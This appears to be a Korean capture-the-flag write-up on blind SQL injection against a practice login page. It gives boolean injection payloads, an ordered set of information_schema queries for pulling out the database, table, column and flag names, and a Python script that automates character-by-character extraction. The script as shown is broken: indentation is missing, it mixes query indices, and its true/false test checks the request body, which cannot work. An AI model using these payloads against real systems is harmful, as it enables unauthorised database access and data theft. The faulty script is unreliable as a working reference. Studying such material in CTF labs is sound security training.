mario' and '1' = '1
위의 입력값을 이용해 Format을 만들어보자.
mario' and ((select 'test') = 'test') and '1' = '1
mario' and (ascii('t') > 0) and '1' = '1
mario' and (ascii(substring('test', 1, 1)) > 0) and '1' = '1
mario' and (ascii(substring((select 'test'), 1, 1)) > 0) and '1' = '1
format : mario' and (ascii(substring((SQL문), i, 1)) > j) and '1' = '1
//i의 경우 결과값의 문자열 번호
//j의 경우 ASCII 코드 번호
select database()
select table_name from information_schema.tables where table_schema = database_name limit 0,1
select column_name from information_schema.columns where table_name = tablename limit 0,1
select columnname from tablename
이 순서대로 하면 공격이 쉽게 가능하다. 하지만 Blind SQLI의 귀찮은 점이 있는데 반복문을 사용해서 참과 거짓을 선별해야하는 과정이 있다.
이제 참과 거짓을 구별을 해보자.
하지만 python의 requests는 둘 다 200으로 보았다. allow_redirects을 false로 두고 수동으로 리다이렉션을 처리했었어야 했다. 하지만 내가 문제를 풀 때는 그걸 몰랐기 때문에 다른 방식으로 풀었다.
response = request.post(url, data=data, allow_redirects=False)
requests.post(URL, data=datas).request.body
//blind.py
import requests
database = ''
table = ''
column = ''
form = "mario' and (ascii(substring(({}), {}, 1)) > {}) and '1' = '1"
SQL = ["select database()",
"select table_name from information_schema.tables where table_schema = 'sqli_3' limit 0,1",
"select column_name from information_schema.columns where table_name = 'flag_table' limit 0, 1",
"select flag from flag_table"]
URL = "http://ctf.segfaulthub.com:9999/sqli_3/login.php"
datas = {'UserId': '', 'Password' : 'mariosuper', 'Submit' : 'Login'}
i = 1
datas['UserId'] = form.format(SQL[0], i, 0)
while requests.post(URL, data=datas).request.body is None:
for j in range(33, 127):
datas['UserId'] = form.format(SQL[3], i, j)
if requests.post(URL, data=datas).request.body is not None:
database += chr(j)
print(chr(j))
break;
i += 1
datas['UserId'] = form.format(SQL[3], i, 0)
print(database)